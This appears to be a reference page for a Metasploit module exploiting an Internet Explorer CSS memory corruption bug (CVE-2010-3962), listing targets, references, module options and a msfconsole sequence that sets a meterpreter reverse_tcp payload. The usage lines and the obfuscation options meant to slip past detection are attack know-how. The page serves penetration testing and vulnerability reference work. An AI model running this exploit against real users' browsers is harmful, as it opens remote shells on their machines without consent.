Internet Explorer CSS SetUserClip Memory Corruption
Thie module exploits a memory corruption vulnerability within Microsoft's HTML engine (mshtml). When parsing an HTML page containing a specially crafted CSS tag, memory corruption occurs that can lead arbitrary code execution. It seems like Microsoft code inadvertantly increments a vtable pointer to point to an unaligned address within the vtable's function pointers. This leads to the program counter being set to the address determined by the address "[vtable+0x30+1]". The particular address depends on the exact version of the mshtml library in use. Since the address depends on the version of mshtml, some versions may not be exploitable. Specifically, those ending up with a program counter value within another module, in kernel space, or just not able to be reached with various memory spraying techniques. Also, since the address is not controllable, it is unlikely to be possible to use ROP to bypass non-executable memory protections.
Exploit Rank
- Good
Exploit Authors
- unknown < >
- < [at] yuange1975 >
- Matteo Memelli < >
- jduck < jduck [at] metasploit.com >
Vulnerability References
- CVE-2010-3962
- OSVDB-68987
- BID-44536
- http://www.microsoft.com/technet/security/advisory/2458511.mspx
- EDB-15421
- MSB-MS10-090
Exploit Targets
- 0 - Automatic (default)
- 1 - Debug
- 2 - Internet Explorer 6
- 3 - Internet Explorer 7
Exploit Development
Similar Exploit Modules
- exploit/windows/browser/adobe_cooltype_sing
- exploit/windows/browser/adobe_flash_mp4_cprt
- exploit/windows/browser/adobe_flash_sps
- exploit/windows/browser/adobe_flashplayer_avm
- exploit/windows/browser/adobe_flashplayer_flash10o
- exploit/windows/browser/adobe_flashplayer_newfunction
- exploit/windows/browser/adobe_flatedecode_predictor02
- exploit/windows/browser/adobe_geticon
- exploit/windows/browser/adobe_jbig2decode
- exploit/windows/browser/adobe_media_newplayer
Exploit Usage Information
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/browser/ms10_090_ie_css_clip
msf exploit(ms10_090_ie_css_clip) > show payloads
msf exploit(ms10_090_ie_css_clip) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms10_090_ie_css_clip) > set LHOST [MY IP ADDRESS]
msf exploit(ms10_090_ie_css_clip) > exploit
Exploit Module Options
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The local port to listen on. (default: 8080) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| URIPATH | The URI to use for this exploit (default is random) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| HTML::base64 | Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection) |
| HTML::javascript::escape | Enable HTML obfuscation via HTML escaping (number of iterations) |
| HTML::unicode | Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be) |
| HTTP::chunked | Enable chunking of HTTP responses via "Transfer-Encoding: chunked" |
| HTTP::compression | Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate) |
| HTTP::header_folding | Enable folding of HTTP headers |
| HTTP::junk_headers | Enable insertion of random junk HTTP headers |
| HTTP::server_name | Configures the Server header of all outgoing replies |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
